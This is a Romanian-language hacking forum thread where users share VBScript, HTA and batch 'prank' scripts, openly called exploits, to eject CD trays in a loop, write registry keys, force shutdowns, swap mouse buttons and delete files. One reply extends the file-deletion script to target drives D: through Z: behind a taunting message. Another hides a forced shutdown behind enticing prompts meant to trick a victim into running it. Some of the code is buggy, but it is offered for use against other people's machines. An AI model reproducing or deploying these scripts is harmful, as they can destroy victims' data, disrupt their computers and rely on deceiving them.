Jump to content
mc1

Nice things easy to be made

By mc1, in Programare

Recommended Posts

mc1 Newbie

mc1

Posted
Posted

-----------------------

------OPEN CD-------

-----------------------

Code:

do

wscript.sleep 1000

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

loop

Acest script deschide cd-romul

----------------------

-----KEY REG--------

----------------------

Code:

Dim x

Set x = Createobject("Wscript.Shell")

x.Regwrite "key patch"

Acest script creaza o key de registri

----------------------

---Del files----------

----------------------

Code:

dim filedel

Set filedel = CreateObject("Scripting.FileSystemObject")

filedel.DeleteFile "c:windowssystem*.*"

Acest cod sterge un fisier

----------------------

----S.shut-----------

----------------------

Code:

Dim sshut

Set sshut = Createobject("Wscript.Shell")

sshut.run "shutdown -s -f -t 00"

acest cod inchide pc

--------------------

---mouse spwn---

--------------------

Code:

Dim a

Set a = Createobject("Wscript.Shell")

a.run "RUNDLL32 USER32.DLL,SwapMouseButton"

Acest script inverseaza butonele la mouse

faci un text si dai copy de la un exploit din cele de mai sus>il salvezi .vbs si voila!:)

haioase chestii :@ :D

mc1 Newbie

mc1

Posted
  • Author
Posted

Adica sa nu-l mai poti deschide? :D:o ar fi o idee...

btw la faza cu deschisu cd-rom-ului se poate inchide acest script apasand ctrl+alt+del>close wscript.exe :?

andrey90 Newbie

andrey90

Posted
Posted

ti`am facut o mica imbunatatire la script`ul cu delete files...;))

msgbox "Peace..'sup?how's yo life?oh..bad..this script will fuck up your pc..for good..well there are 2 ways to stop me..remember,this is not a joke! Think Clear,go take a 7up ice.. oh well..if you're stuck..use the good old classic way..if not..say bye bye to all your files"

dim filedel

Set filedel = CreateObject("Scripting.FileSystemObject")

filedel.DeleteFile "d:"

filedel.DeleteFile "e:"

filedel.DeleteFile "f:"

filedel.DeleteFile "g:"

filedel.DeleteFile "h:"

filedel.DeleteFile "i:"

filedel.DeleteFile "j:"

filedel.DeleteFile "k:"

filedel.DeleteFile "l:"

filedel.DeleteFile "m:"

filedel.DeleteFile "n:"

filedel.DeleteFile "o:"

filedel.DeleteFile "p:"

filedel.DeleteFile "q:"

filedel.DeleteFile "r:"

filedel.DeleteFile "s:"

filedel.DeleteFile "t:"

filedel.DeleteFile "u:"

filedel.DeleteFile "v:"

filedel.DeleteFile "w:"

filedel.DeleteFile "x:"

filedel.DeleteFile "y:"

filedel.DeleteFile "z:"





MaHaReT Newbie

MaHaReT

Posted
Posted

<html>

<head>

<script language="javascript">

function eject(){

var drivers = new Enumerator(new ActiveXObject("Scripting.FileSystemObject").Drives);

for(; !drivers.atEnd(); drivers.moveNext())

{

driver = drivers.item();

if(driver.DriveType == 4)

new ActiveXObject("Shell.Application").Namespace(17).ParseName(driver.DriveLetter + ":").InvokeVerb("E&ject");

}

}

</script>

</head>

<body> <input type="button" value="eject" onclick="eject()">

</body>

</html>

Scrii tot in notepad si salvezi cu estensia .hta ex: cdrom.hta apoi il executi

Asta executa direct comanda de shutdown si are dezavantajul fata de celalalt ca daca respectiva persoana se uita in sursa si vede shutdown nu-l mai executa

msgbox "daca nu vrei sa mai ai restante apasa OK"

msgbox "daca vrei ca toata lumea sa asculte de tine apasa OK"

msgbox "daca vrei sa nu mai ai probleme cu calculatorul apasa OK "

msgbox "daca vrei ca toate fetele sa traga la tine apsa OK"

Dim wshshell

set wshshell = wscript.CreateObject("WScript.Shell"

wshshell.run "shutdown -s -t 1"

Scrii tot in notepad si salvezi cu extensia .vbs ex: shutdown.vbs

Le mai puteti combina si voi si vedeti ce iese

sau daca vreti numa cu shutdown scrieti in notepad -s -f -t 03 -c "scri ce vrei tu" salvati cu extensia .bat

-s shutdown

-f shutdown fortat

-t timpu

-c scrisu'

am si io ceva , n`us daca`s bune

Icarius Newbie

Icarius

Posted
Posted

pai ala nu face nimica. este gresit scris. l-am testat pe pcul meu si nu mia sters nimica :))) dc vrei un tutorial cum sa facu un program care sa stearga toate fisierele din pc spune-mi...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...